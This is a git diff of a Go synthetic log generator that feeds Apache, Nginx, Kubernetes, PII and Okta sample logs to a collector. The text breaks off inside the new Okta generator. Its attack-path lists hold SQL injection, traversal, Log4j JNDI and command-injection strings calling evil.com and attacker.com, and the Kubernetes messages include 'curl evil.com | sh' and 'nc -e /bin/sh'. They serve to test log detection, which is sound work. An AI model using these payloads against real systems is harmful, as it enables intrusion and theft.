unless-stopped + environment: + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-web-db + BLITZ_OUTPUT_TCP_PORT: "5140" + BLITZ_LOGGING_LEVEL: info + depends_on: + - collector-web-db + networks: + - web-db-net + +services: + collector-web-db: + image: observiq/bindplane-agent:latest + restart: unless-stopped + user: "0" + environment: + OPAMP_ENDPOINT: ${OPAMP_ENDPOINT:?OPAMP_ENDPOINT is required} + OPAMP_SECRET_KEY: ${OPAMP_SECRET_KEY:?OPAMP_SECRET_KEY is required} + OPAMP_AGENT_NAME: blitz-web-db-collector + OPAMP_LABELS: "env=production,pipeline=web-db" + ports: + - "5140:5140" + networks: + - web-db-net + + # Apache Log Generator (10x workers) + blitz-apache: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: apache-common + BLITZ_GENERATOR_APACHECOMMON_WORKERS: ${BLITZ_APACHE_WORKERS:-10} + BLITZ_GENERATOR_APACHECOMMON_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-web-db + BLITZ_OUTPUT_TCP_PORT: "5140" + + # PostgreSQL Log Generator (1x workers) + blitz-postgres: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: postgres + BLITZ_GENERATOR_POSTGRES_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_POSTGRES_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-web-db + BLITZ_OUTPUT_TCP_PORT: "5140" + + # Kubernetes Log Generator (1x workers) + blitz-kubernetes: + <<: *blitz-common + environment: + BLITZ_GENERATOR_TYPE: kubernetes + BLITZ_GENERATOR_KUBERNETES_WORKERS: ${BLITZ_WORKERS:-1} + BLITZ_GENERATOR_KUBERNETES_RATE: ${BLITZ_RATE:-1s} + BLITZ_OUTPUT_TYPE: tcp + BLITZ_OUTPUT_TCP_HOST: collector-web-db + BLITZ_OUTPUT_TCP_PORT: "5140" + +networks: + web-db-net: + driver: bridge diff --git a/generator/apache/apache.go b/generator/apache/apache.go index a950b9f..9c2ecac 100644 --- a/generator/apache/apache.go +++ b/generator/apache/apache.go @@ -266,7 +266,8 @@ func generateRequest(r *rand.Rand) string { methods := []string{"GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS"} method := methods[r.Intn(len(methods))] // #nosec G404 - paths := []string{ + // Normal paths + normalPaths := []string{ "/api/v1/users", "/api/v1/orders", "/health", @@ -285,7 +286,89 @@ func generateRequest(r *rand.Rand) string { "/api/v1/verification", } - path := paths[r.Intn(len(paths))] // #nosec G404 + // Security-focused paths (attack patterns) + attackPaths := []string{ + // Directory traversal attacks + "/../../etc/passwd", + "/..%2f..%2f..%2fetc/passwd", + "/....//....//....//etc/shadow", + "/api/v1/files?path=../../../etc/passwd", + "/download?file=....//....//....//etc/hosts", + "/static/..%252f..%252f..%252fetc/passwd", + + // SQL injection attempts + "/api/v1/users?id=1'%20OR%20'1'='1", + "/api/v1/search?q=';DROP%20TABLE%20users;--", + "/api/v1/login?user=admin'--&pass=x", + "/api/v1/products?category=1%20UNION%20SELECT%20password%20FROM%20users", + "/api/v1/orders?id=1;%20WAITFOR%20DELAY%20'00:00:10'", + "/api/v1/accounts?name='+OR+1=1--", + + // XSS attempts + "/search?q=", + "/api/v1/comments?text=%3Cscript%3Edocument.location='http://evil.com/'%3C/script%3E", + "/profile?name=", + "/api/v1/feedback?msg=", + + // Command injection + "/api/v1/ping?host=127.0.0.1;cat%20/etc/passwd", + "/api/v1/backup?file=test|wget%20http://evil.com/shell.sh", + "/cgi-bin/test.cgi?cmd=ls%20-la", + "/api/v1/convert?url=http://evil.com/$(whoami)", + + // Scanner and reconnaissance + "/admin", + "/admin/login", + "/wp-admin/", + "/wp-login.php", + "/phpmyadmin/", + "/phpMyAdmin/", + "/.env", + "/.git/config", + "/.git/HEAD", + "/config.php", + "/web.config", + "/server-status", + "/server-info", + "/.aws/credentials", + "/.ssh/id_rsa", + "/backup.sql", + "/database.sql", + "/api/swagger.json", + "/actuator/env", + "/actuator/health", + "/debug/pprof/", + "/trace", + "/metrics", + + // Authentication bypass attempts + "/api/v1/admin?admin=true", + "/api/v1/users?role=admin", + "/api/internal/debug", + "/api/v1/auth/bypass", + + // SSRF attempts + "/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/", + "/api/v1/proxy?target=http://localhost:6379/", + "/api/v1/webhook?callback=http://internal-service:8080/admin", + "/api/v1/image?src=file:///etc/passwd", + + // Log4j/JNDI injection + "/api/v1/search?q=${jndi:ldap://evil.com/a}", + "/api/v1/user-agent?ua=${jndi:rmi://attacker.com:1099/exploit}", + + // Shellshock + "/cgi-bin/test.sh", + "/cgi-bin/status", + } + + // 20% chance of generating a security-focused path + var path string + if r.Float64() < 0.20 { // #nosec G404 + path = attackPaths[r.Intn(len(attackPaths))] // #nosec G404 + } else { + path = normalPaths[r.Intn(len(normalPaths))] // #nosec G404 + } protocols := []string{"HTTP/1.0", "HTTP/1.1", "HTTP/2.0"} protocol := protocols[r.Intn(len(protocols))] // #nosec G404 diff --git a/generator/json/json.go b/generator/json/json.go index 50dfff9..ced6b33 100644 --- a/generator/json/json.go +++ b/generator/json/json.go @@ -3,6 +3,7 @@ package json import ( "context" "fmt" + "math/rand" "sync" "time" @@ -262,85 +263,9 @@ func formatAsJSON(data logtypes.LogData) (output.LogRecord, error) { timestamp = d.TimestampVal severity = d.LevelVal case *logtypes.PIILogData: - jsonData = map[string]any{ - "timestamp": d.TimestampVal, - "level": d.LevelVal, - "message": d.MessageVal, - - // Core PII - "user_id": d.UserIDVal, - "ssn": d.SSNVal, - "iban": d.IBANVal, - "phone": d.PhoneVal, - "intl_phone": d.IntlPhoneVal, - "email": d.EmailVal, - "credit_card": d.CreditCardVal, - "dob": d.DOBVal, - "ipv4": d.IPv4Val, - "ipv6": d.IPv6Val, - "mac_address": d.MACAddressVal, - "street_addr": d.StreetAddrVal, - "city_state": d.CityStateVal, - "zip_code": d.ZipCodeVal, - - // Government IDs - "passport": d.PassportVal, - "drivers_license": d.DriversLicenseVal, - "national_id": d.NationalIDVal, - - // Financial - "bank_account": d.BankAccountVal, - "routing_number": d.RoutingNumberVal, - "crypto_wallet": d.CryptoWalletVal, - - // Healthcare - "medical_record": d.MedicalRecordVal, - "health_insurance": d.HealthInsuranceVal, - - // Vehicle - "vin": d.VINVal, - "license_plate": d.LicensePlateVal, - - // Employment/Education - "employee_id": d.EmployeeIDVal, - "student_id": d.StudentIDVal, - - // Authentication/Secrets - "username": d.UsernameVal, - "password_hash": d.PasswordHashVal, - "api_key": d.APIKeyVal, - "aws_access_key": d.AWSAccessKeyVal, - "private_key": d.PrivateKeyVal, - "jwt_token": d.JWTTokenVal, - - // Location - "gps_coords": d.GPSCoordsVal, - "geohash": d.GeohashVal, - - // Personal - "full_name": d.FullNameVal, - "mothers_maiden": d.MothersMaidenVal, - "security_answer": d.SecurityAnswerVal, - } + jsonData = formatPIILogData(d) timestamp = d.TimestampVal severity = d.LevelVal - - // Add optional fields if they are not empty - if d.EventVal != "" { - jsonData.(map[string]any)["event"] = d.EventVal - } - if d.DetailVal != "" { - jsonData.(map[string]any)["detail"] = d.DetailVal - } - if d.TypeVal != "" { - jsonData.(map[string]any)["type"] = d.TypeVal - } - if d.ActionVal != "" { - jsonData.(map[string]any)["action"] = d.ActionVal - } - if d.StatusVal != "" { - jsonData.(map[string]any)["status"] = d.StatusVal - } default: return output.LogRecord{}, fmt.Errorf("unsupported log data type: %T", data) } @@ -379,3 +304,106 @@ func (g *JSONLogGenerator) recordWriteError(errorType string, err error) { ), ) } + +// formatPIILogData formats PII log data with a random selection of 1-5 PII fields +func formatPIILogData(d *logtypes.PIILogData) map[string]any { + r := rand.New(rand.NewSource(time.Now().UnixNano())) // #nosec G404 + + // All available PII fields + piiFields := []struct { + key string + value any + }{ + // Core PII + {"user_id", d.UserIDVal}, + {"ssn", d.SSNVal}, + {"iban", d.IBANVal}, + {"phone", d.PhoneVal}, + {"intl_phone", d.IntlPhoneVal}, + {"email", d.EmailVal}, + {"credit_card", d.CreditCardVal}, + {"dob", d.DOBVal}, + {"ipv4", d.IPv4Val}, + {"ipv6", d.IPv6Val}, + {"mac_address", d.MACAddressVal}, + {"street_addr", d.StreetAddrVal}, + {"city_state", d.CityStateVal}, + {"zip_code", d.ZipCodeVal}, + + // Government IDs + {"passport", d.PassportVal}, + {"drivers_license", d.DriversLicenseVal}, + {"national_id", d.NationalIDVal}, + + // Financial + {"bank_account", d.BankAccountVal}, + {"routing_number", d.RoutingNumberVal}, + {"crypto_wallet", d.CryptoWalletVal}, + + // Healthcare + {"medical_record", d.MedicalRecordVal}, + {"health_insurance", d.HealthInsuranceVal}, + + // Vehicle + {"vin", d.VINVal}, + {"license_plate", d.LicensePlateVal}, + + // Employment/Education + {"employee_id", d.EmployeeIDVal}, + {"student_id", d.StudentIDVal}, + + // Authentication/Secrets + {"username", d.UsernameVal}, + {"password_hash", d.PasswordHashVal}, + {"api_key", d.APIKeyVal}, + {"aws_access_key", d.AWSAccessKeyVal}, + {"private_key", d.PrivateKeyVal}, + {"jwt_token", d.JWTTokenVal}, + + // Location + {"gps_coords", d.GPSCoordsVal}, + {"geohash", d.GeohashVal}, + + // Personal + {"full_name", d.FullNameVal}, + {"mothers_maiden", d.MothersMaidenVal}, + {"security_answer", d.SecurityAnswerVal}, + } + + // Start with base fields + jsonData := map[string]any{ + "timestamp": d.TimestampVal, + "level": d.LevelVal, + "message": d.MessageVal, + } + + // Add optional context fields if present + if d.EventVal != "" { + jsonData["event"] = d.EventVal + } + if d.DetailVal != "" { + jsonData["detail"] = d.DetailVal + } + if d.TypeVal != "" { + jsonData["type"] = d.TypeVal + } + if d.ActionVal != "" { + jsonData["action"] = d.ActionVal + } + if d.StatusVal != "" { + jsonData["status"] = d.StatusVal + } + + // Shuffle the PII fields + r.Shuffle(len(piiFields), func(i, j int) { + piiFields[i], piiFields[j] = piiFields[j], piiFields[i] + }) + + // Select 1-5 random PII fields + numFields := r.Intn(5) + 1 // #nosec G404 + for i := 0; i < numFields && i < len(piiFields); i++ { + jsonData[piiFields[i].key] = piiFields[i].value + } + + return jsonData +} diff --git a/generator/kubernetes/kubernetes.go b/generator/kubernetes/kubernetes.go index 18f6a33..db3d37f 100644 --- a/generator/kubernetes/kubernetes.go +++ b/generator/kubernetes/kubernetes.go @@ -322,21 +322,84 @@ func (g *Generator) generateDatabaseLog(r *rand.Rand) string { // generateStructuredLog generates a structured key-value log func (g *Generator) generateStructuredLog(r *rand.Rand) string { requestID := generateRandomID(r, 16) - level := []string{"info", "warn", "error", "debug"}[r.Intn(4)] // #nosec G404 - messages := []string{ - "User authentication failed", - "Cache miss for key", - "Rate limit exceeded", - "Database connection established", - "Session expired", - "File uploaded successfully", - "Background job completed", - "Health check passed", + + // Messages with appropriate severity levels + securityMessages := []struct { + level string + message string + }{ + // Normal operations + {"info", "User authentication successful"}, + {"info", "Cache miss for key"}, + {"info", "Database connection established"}, + {"info", "Session created"}, + {"info", "File uploaded successfully"}, + {"info", "Background job completed"}, + {"info", "Health check passed"}, + {"debug", "Request processed successfully"}, + + // Security: Authentication and authorization failures + {"warn", "User authentication failed - invalid credentials"}, + {"warn", "User authentication failed - account locked after 5 attempts"}, + {"error", "RBAC: access denied for user system:anonymous to resource pods"}, + {"error", "RBAC: user app-service-account cannot create secrets in namespace production"}, + {"warn", "ServiceAccount token expired, re-authentication required"}, + {"error", "Invalid bearer token presented for API authentication"}, + {"warn", "Rate limit exceeded for user admin-user"}, + {"error", "Forbidden: user cannot impersonate serviceaccount default/admin"}, + + // Security: Container and pod security violations + {"error", "Pod security policy violation: privileged containers not allowed"}, + {"error", "Pod security policy violation: hostNetwork is not allowed"}, + {"error", "Pod security policy violation: hostPID is not allowed"}, + {"warn", "Container attempting to run as root user, policy violation"}, + {"error", "SecurityContext: runAsNonRoot specified but image runs as root"}, + {"error", "Pod rejected: hostPath volume mount to /etc not permitted"}, + {"error", "Pod rejected: capabilities add SYS_ADMIN not allowed"}, + {"warn", "Container image pull from untrusted registry blocked: docker.io/malicious/image"}, + + // Security: Secrets and sensitive data access + {"warn", "Secret access: user dev-user accessed secret db-credentials in namespace production"}, + {"error", "Unauthorized attempt to read secret kubernetes-admin-token"}, + {"warn", "ConfigMap modified: aws-credentials in namespace kube-system"}, + {"error", "Attempt to mount secret as environment variable blocked by policy"}, + {"warn", "Service account token mounted in pod without explicit request"}, + + // Security: Network policy violations + {"error", "NetworkPolicy violation: egress to external IP 185.220.101.45 blocked"}, + {"warn", "Unexpected outbound connection attempt to port 4444 (common reverse shell)"}, + {"error", "Pod attempted connection to known malicious IP: 45.33.32.156"}, + {"warn", "DNS query for suspicious domain: crypto-miner-pool.evil.com"}, + {"error", "Ingress blocked: source IP 10.0.0.50 not in allowed CIDR range"}, + + // Security: Resource and privilege escalation + {"error", "Container escape attempt detected: /proc/1/root access denied"}, + {"warn", "Suspicious process execution in container: /bin/bash -c 'curl evil.com | sh'"}, + {"error", "Kernel module loading attempt blocked in container"}, + {"warn", "Container attempting to modify /etc/passwd"}, + {"error", "Privilege escalation attempt: setuid binary execution blocked"}, + {"warn", "Container process spawned unexpected child: /usr/bin/nc -e /bin/sh"}, + + // Security: Audit and compliance + {"warn", "Audit: cluster-admin role bound to user external-contractor"}, + {"error", "Compliance violation: pod running without resource limits"}, + {"warn", "Audit: secrets list operation by user jenkins-deployer"}, + {"error", "Admission webhook rejected pod: missing required security labels"}, + {"warn", "Node shell access detected via kubectl exec"}, + + // Security: Anomalies and threats + {"error", "CrashLoopBackOff detected for pod crypto-miner-abc123"}, + {"warn", "Unusual CPU spike in pod: possible cryptomining activity"}, + {"error", "OOMKilled: container exceeded memory limit, possible memory bomb"}, + {"warn", "Pod restarted 15 times in last hour: investigating stability"}, + {"error", "Image vulnerability scan failed: critical CVE-2024-1234 detected"}, + {"warn", "Container image signature verification failed"}, } - message := messages[r.Intn(len(messages))] // #nosec G404 + + entry := securityMessages[r.Intn(len(securityMessages))] // #nosec G404 return fmt.Sprintf("%s request_id=%s [%s] %s", - time.Now().Format("15:04:05.000"), requestID, level, message) + time.Now().Format("15:04:05.000"), requestID, entry.level, entry.message) } // generateRandomID generates a random alphanumeric ID diff --git a/generator/nginx/nginx.go b/generator/nginx/nginx.go index 9b685f6..ea453cd 100644 --- a/generator/nginx/nginx.go +++ b/generator/nginx/nginx.go @@ -102,6 +102,95 @@ var ( "/settings", } + // Security-focused paths (attack patterns) + attackPaths = []string{ + // Directory traversal attacks + "/../../etc/passwd", + "/..%2f..%2f..%2fetc/passwd", + "/....//....//....//etc/shadow", + "/api/v1/files?path=../../../etc/passwd", + "/download?file=....//....//....//etc/hosts", + "/static/..%252f..%252f..%252fetc/passwd", + + // SQL injection attempts + "/api/v1/users?id=1'%20OR%20'1'='1", + "/api/v1/search?q=';DROP%20TABLE%20users;--", + "/api/v1/login?user=admin'--&pass=x", + "/api/v1/products?category=1%20UNION%20SELECT%20password%20FROM%20users", + "/api/v1/orders?id=1;%20WAITFOR%20DELAY%20'00:00:10'", + "/api/v1/accounts?name='+OR+1=1--", + + // XSS attempts + "/search?q=", + "/api/v1/comments?text=%3Cscript%3Edocument.location='http://evil.com/'%3C/script%3E", + "/profile?name=", + "/api/v1/feedback?msg=", + + // Command injection + "/api/v1/ping?host=127.0.0.1;cat%20/etc/passwd", + "/api/v1/backup?file=test|wget%20http://evil.com/shell.sh", + "/cgi-bin/test.cgi?cmd=ls%20-la", + "/api/v1/convert?url=http://evil.com/$(whoami)", + + // Scanner and reconnaissance + "/admin", + "/admin/login", + "/wp-admin/", + "/wp-login.php", + "/phpmyadmin/", + "/phpMyAdmin/", + "/.env", + "/.git/config", + "/.git/HEAD", + "/config.php", + "/web.config", + "/nginx_status", + "/server-status", + "/.aws/credentials", + "/.ssh/id_rsa", + "/backup.sql", + "/dump.sql", + "/api/swagger.json", + "/actuator/env", + "/actuator/health", + "/debug/pprof/", + "/graphql", + "/metrics", + "/trace", + + // Authentication bypass attempts + "/api/v1/admin?admin=true", + "/api/v1/users?role=admin", + "/api/internal/debug", + "/api/v1/auth/bypass", + + // SSRF attempts + "/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/", + "/api/v1/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/", + "/api/v1/proxy?target=http://localhost:6379/", + "/api/v1/webhook?callback=http://internal-service:8080/admin", + "/api/v1/image?src=file:///etc/passwd", + "/api/v1/redirect?url=http://metadata.google.internal/computeMetadata/v1/", + + // Log4j/JNDI injection + "/api/v1/search?q=${jndi:ldap://evil.com/a}", + "/api/v1/user-agent?ua=${jndi:rmi://attacker.com:1099/exploit}", + "/${jndi:ldap://x.x.x.x/exploit}", + + // Shellshock + "/cgi-bin/test.sh", + "/cgi-bin/status", + "/cgi-bin/bash", + + // Prototype pollution + "/api/v1/settings?__proto__[admin]=true", + "/api/v1/config?constructor[prototype][isAdmin]=true", + + // WebSocket hijacking probe + "/ws/admin", + "/socket.io/?transport=polling", + } + httpProtocols = []string{"HTTP/1.0", "HTTP/1.1", "HTTP/2.0"} statusCodes2xx = []int{200, 201, 204} @@ -332,8 +421,16 @@ func generateRandomIP(r *rand.Rand) string { // generateRequest generates a random HTTP request string func generateRequest(r *rand.Rand) string { - method := httpMethods[r.Intn(len(httpMethods))] // #nosec G404 - path := httpPaths[r.Intn(len(httpPaths))] // #nosec G404 + method := httpMethods[r.Intn(len(httpMethods))] // #nosec G404 + + // 20% chance of generating a security-focused path + var path string + if r.Float64() < 0.20 { // #nosec G404 + path = attackPaths[r.Intn(len(attackPaths))] // #nosec G404 + } else { + path = httpPaths[r.Intn(len(httpPaths))] // #nosec G404 + } + protocol := httpProtocols[r.Intn(len(httpProtocols))] // #nosec G404 return fmt.Sprintf("%s %s %s", method, path, protocol) diff --git a/generator/okta/okta.go b/generator/okta/okta.go new file mode 100644 index 0000000..1a8184c --- /dev/null +++ b/generator/okta/okta.go @@ -0,0 +1,511 @@ +package okta + +import ( + "context" + "fmt" + "math/rand" + "sync" + "time" + + "github.com/cenkalti/backoff/v4" + jsonlib "github.com/goccy/go-json" + "github.com/observiq/blitz/output" + "go.opentelemetry.io/otel" + "go.opentelemetry.io/otel/attribute" + "go.opentelemetry.io/otel/metric" + "go.uber.org/zap" +) + +const ( + componentName = "generator_okta" + meterName = "blitz-generator" + + metricLogsGenerated = "blitz.generator.logs.generated" + metricWorkersActive = "blitz.generator.workers.active" + metricWriteErrors = "blitz.generator.write.errors" + + errorTypeUnknown = "unknown" + errorTypeTimeout = "timeout" +) + +// Generator generates Okta System Log format log data +type Generator struct { + logger *zap.Logger + workers int + rate time.Duration + wg sync.WaitGroup + stopCh chan struct{} + meter metric.Meter + + oktaLogsGenerated metric.Int64Counter + oktaActiveWorkers metric.Int64Gauge + oktaWriteErrors metric.Int64Counter +} + +// Predefined data for realistic Okta log generation +var ( + eventTypes = []struct { + eventType string + displayMsg string + severity string + outcome string + category string + }{ + // Authentication events + {"user.session.start", "User login to Okta", "INFO", "SUCCESS", "authentication"}, + {"user.session.end", "User logout from Okta", "INFO", "SUCCESS", "authentication"}, + {"user.authentication.sso", "User single sign on to app", "INFO", "SUCCESS", "authentication"}, + {"user.authentication.auth_via_mfa", "Authentication via MFA", "INFO", "SUCCESS", "authentication"}, + {"user.authentication.verify", "User attempted authentication", "INFO", "SUCCESS", "authentication"}, + + // Authentication failures + {"user.session.start", "User login to Okta", "WARN", "FAILURE", "authentication"}, + {"user.authentication.auth_via_mfa", "MFA verification failed", "WARN", "FAILURE", "authentication"}, + {"user.authentication.verify", "Authentication failed - invalid credentials", "WARN", "FAILURE", "authentication"}, + {"user.account.lock", "Account locked due to multiple failed attempts", "WARN", "SUCCESS", "authentication"}, + + // Security events + {"security.threat.detected", "Suspicious activity detected", "WARN", "SUCCESS", "security"}, + {"security.request.blocked", "Request blocked by security policy", "WARN", "SUCCESS", "security"}, + {"user.session.impersonation.start", "Admin impersonation session started", "WARN", "SUCCESS", "security"}, + {"user.session.impersonation.end", "Admin impersonation session ended", "INFO", "SUCCESS", "security"}, + + // User lifecycle events + {"user.lifecycle.create", "User created in Okta", "INFO", "SUCCESS", "user_management"}, + {"user.lifecycle.activate", "User activated", "INFO", "SUCCESS", "user_management"}, + {"user.lifecycle.deactivate", "User deactivated", "INFO", "SUCCESS", "user_management"}, + {"user.lifecycle.suspend", "User suspended", "WARN", "SUCCESS", "user_management"}, + {"user.lifecycle.unsuspend", "User unsuspended", "INFO", "SUCCESS", "user_management"}, + {"user.lifecycle.delete", "User deleted from Okta", "INFO", "SUCCESS", "user_management"}, + + // Password events + {"user.account.update_password", "User changed password", "INFO", "SUCCESS", "password"}, + {"user.account.reset_password", "Password reset requested", "INFO", "SUCCESS", "password"}, + {"user.credential.forgot_password", "Forgot password flow initiated", "INFO", "SUCCESS", "password"}, + + // Application events + {"app.user_membership.add", "User added to application", "INFO", "SUCCESS", "application"}, + {"app.user_membership.remove", "User removed from application", "INFO", "SUCCESS", "application"}, + {"application.lifecycle.create", "Application created", "INFO", "SUCCESS", "application"}, + {"application.lifecycle.update", "Application updated", "INFO", "SUCCESS", "application"}, + {"application.lifecycle.delete", "Application deleted", "INFO", "SUCCESS", "application"}, + + // Group events + {"group.user_membership.add", "User added to group", "INFO", "SUCCESS", "group"}, + {"group.user_membership.remove", "User removed from group", "INFO", "SUCCESS", "group"}, + {"group.lifecycle.create", "Group created", "INFO", "SUCCESS", "group"}, + {"group.lifecycle.delete", "Group deleted", "INFO", "SUCCESS", "group"}, + + // Policy events + {"policy.lifecycle.create", "Policy created", "INFO", "SUCCESS", "policy"}, + {"policy.lifecycle.update", "Policy updated", "INFO", "SUCCESS", "policy"}, + {"policy.lifecycle.delete", "Policy deleted", "INFO", "SUCCESS", "policy"}, + {"policy.rule.create", "Policy rule created", "INFO", "SUCCESS", "policy"}, + {"policy.rule.update", "Policy rule updated", "INFO", "SUCCESS", "policy"}, + + // Admin events + {"user.account.privilege.grant", "Admin privilege granted", "WARN", "SUCCESS", "admin"}, + {"user.account.privilege.revoke", "Admin privilege revoked", "INFO", "SUCCESS", "admin"}, + {"system.api_token.create", "API token created", "WARN", "SUCCESS", "admin"}, + {"system.api_token.revoke", "API token revoked", "INFO", "SUCCESS", "admin"}, + + // Suspicious/Attack patterns + {"user.session.start", "Login from suspicious location", "WARN", "FAILURE", "security"}, + {"user.session.start", "Login from new device", "INFO", "SUCCESS", "security"}, + {"security.threat.detected", "Brute force attack detected", "ERROR", "SUCCESS", "security"}, + {"security.threat.detected", "Credential stuffing attack detected", "ERROR", "SUCCESS", "security"}, + {"security.threat.detected", "Impossible travel detected", "WARN", "SUCCESS", "security"}, + {"user.mfa.factor.deactivate", "MFA factor removed", "WARN", "SUCCESS", "security"}, + {"user.account.unlock", "Account unlocked by admin", "INFO", "SUCCESS", "security"}, + } + + actors = []struct { + displayName string + login string + userType string + }{ + {"John Smith", "john.smith@example.com", "User"}, + {"Jane Doe", "jane.doe@example.com", "User"}, + {"Bob Wilson", "bob.wilson@example.com", "User"}, + {"Alice Johnson", "alice.johnson@example.com", "User"}, + {"System Admin", "admin@example.com", "Admin"}, + {"Security Admin", "security@example.com", "Admin"}, + {"Help Desk", "helpdesk@example.com", "Admin"}, + {"Service Account", "svc-account@example.com", "ServiceAccount"}, + {"API Client", "api-client@example.com", "ServiceAccount"}, + {"Unknown Actor", "unknown@suspicious.com", "User"}, + } + + applications = []struct { + name string + label string + }{ + {"salesforce", "Salesforce"}, + {"office365", "Microsoft Office 365"}, + {"slack", "Slack"}, + {"aws_console", "AWS Management Console"}, + {"github", "GitHub Enterprise"}, + {"jira", "Atlassian Jira"}, + {"workday", "Workday"}, + {"servicenow", "ServiceNow"}, + {"zoom", "Zoom"}, + {"google_workspace", "Google Workspace"}, + } + + userAgents = []string{ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36", + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148", + "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 Chrome/120.0.0.0 Mobile Safari/537.36", + "okta-sdk-java/2.0.0 java/17.0.1 Mac_OS_X/14.0", + "Okta-Workflows/1.0", + } + + cities = []struct { + city string + state string + country string + latitude float64 + longitude float64 + }{ + {"San Francisco", "California", "United States", 37.7749, -122.4194}, + {"New York", "New York", "United States", 40.7128, -74.0060}, + {"London", "", "United Kingdom", 51.5074, -0.1278}, + {"Tokyo", "", "Japan", 35.6762, 139.6503}, + {"Sydney", "New South Wales", "Australia", -33.8688, 151.2093}, + {"Berlin", "", "Germany", 52.5200, 13.4050}, + {"Moscow", "", "Russia", 55.7558, 37.6173}, + {"Beijing", "", "China", 39.9042, 116.4074}, + } + + reasons = []string{ + "INVALID_CREDENTIALS", + "LOCKED_OUT", + "MFA_REQUIRED", + "PASSWORD_EXPIRED", + "VERIFICATION_FAILED", + "NETWORK_ZONE_BLACKLISTED", + "DEVICE_NOT_REGISTERED", + "SUSPICIOUS_ACTIVITY", + } +) + +// New creates a new Okta log generator +func New(logger *zap.Logger, workers int, rate time.Duration) (*Generator, error) { + if logger == nil { + return nil, fmt.Errorf("logger cannot be nil") + } + + if workers < 1 { + return nil, fmt.Errorf("workers must be 1 or greater, got %d", workers) + } + + meter := otel.Meter(meterName) + + oktaLogsGenerated, err := meter.Int64Counter( + metricLogsGenerated, + metric.WithDescription("Total number of logs generated"), + ) + if err != nil { + return nil, fmt.Errorf("create logs generated counter: %w", err) + } + + oktaActiveWorkers, err := meter.Int64Gauge( + metricWorkersActive, + metric.WithDescription("Number of active worker goroutines"), + ) + if err != nil { + return nil, fmt.Errorf("create active workers gauge: %w", err) + } + + oktaWriteErrors, err := meter.Int64Counter( + metricWriteErrors, + metric.WithDescription("Total number of write errors"), + ) + if err != nil { + return nil, fmt.Errorf("create write errors counter: %w", err) + } + + return &Generator{ + logger: logger, + workers: workers, + rate: rate, + stopCh: make(chan struct{}), + meter: meter, + oktaLogsGenerated: oktaLogsGenerated, + oktaActiveWorkers: oktaActiveWorkers, + oktaWriteErrors: oktaWriteErrors, + }, nil +} + +// Start starts the Okta log generator +func (g *Generator) Start(writer output.Writer) error { + g.logger.Info("Starting Okta log generator", + zap.Int("workers", g.workers), + zap.Duration("rate", g.rate), + ) + + for i := 0; i < g.workers; i++ { + g.wg.Add(1) + go g.worker(i, writer) + } + + return nil +} + +// Stop stops the Okta log generator +func (g *Generator) Stop(ctx context.Context) error { + g.logger.Info("Stopping Okta log generator") + + close(g.stopCh) + + done := make(chan struct{}) + go func() { + g.wg.Wait() + close(done) + }() + + select { + case <-done: + g.logger.Info("Okta log generator stopped") + return nil + case <-ctx.Done(): + return ctx.Err() + } +} + +func (g *Generator) worker(workerID int, writer output.Writer) { + defer g.wg.Done() + + g.oktaActiveWorkers.Record(context.Background(), 1, + metric.WithAttributeSet( + attribute.NewSet( + attribute.String("component", componentName), + attribute.Int("worker_id", workerID), + ), + ), + ) + defer g.oktaActiveWorkers.Record(context.Background(), 0, + metric.WithAttributeSet( + attribute.NewSet( + attribute.String("component", componentName), + attribute.Int("worker_id", workerID), + ), + ), + ) + + backoffConfig := backoff.NewExponentialBackOff() + backoffConfig.InitialInterval = g.rate + backoffConfig.MaxInterval = 5 * time.Second + backoffConfig.MaxElapsedTime = 0 + + backoffTicker := backoff.NewTicker(backoffConfig) + defer backoffTicker.Stop() + + for { + select { + case <-g.stopCh: + g.logger.Debug("Worker stopping", zap.Int("worker_id", workerID)) + return + case <-backoffTicker.C: + err := g.generateAndWriteLog(writer, workerID) + if err != nil { + g.logger.Error("Failed to write log", + zap.Int("worker_id", workerID), + zap.Error(err)) + continue + } + backoffConfig.Reset() + } + } +} + +func (g *Generator) generateAndWriteLog(writer output.Writer, workerID int) error { + logRecord, err := g.generateOktaLog() + if err != nil { + g.recordWriteError(errorTypeUnknown, err) + return fmt.Errorf("generate Okta log: %w", err) + } + + g.oktaLogsGenerated.Add(context.Background(), 1, + metric.WithAttributeSet( + attribute.NewSet( + attribute.String("component", componentName), + ), + ), + ) + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + if err := writer.Write(ctx, logRecord); err != nil { + errorType := errorTypeUnknown + if ctx.Err() == context.DeadlineExceeded { + errorType = errorTypeTimeout + } + g.recordWriteError(errorType, err) + return err + } + + return nil +} + +func (g *Generator) generateOktaLog() (output.LogRecord, error) { + r := rand.New(rand.NewSource(time.Now().UnixNano())) // #nosec G404 + + now := time.Now().UTC() + event := eventTypes[r.Intn(len(eventTypes))] // #nosec G404 + actor := actors[r.Intn(len(actors))] // #nosec G404 + app := applications[r.Intn(len(applications))] // #nosec G404 + location := cities[r.Intn(len(cities))] // #nosec G404 + userAgent := userAgents[r.Intn(len(userAgents))] // #nosec G404 + + // Generate UUIDs + uuid := generateUUID(r) + actorID := generateUUID(r) + sessionID := generateUUID(r) + requestID := generateRequestID(r) + + // Build the Okta System Log event + logData := map[string]any{ + "uuid": uuid, + "published": now.Format(time.RFC3339Nano), + "eventType": event.eventType, + "version": "0", + "severity": event.severity, + "displayMessage": map[string]any{ + "message": event.displayMsg, + }, + "actor": map[string]any{ + "id": actorID, + "type": actor.userType, + "alternateId": actor.login, + "displayName": actor.displayName, + }, + "client": 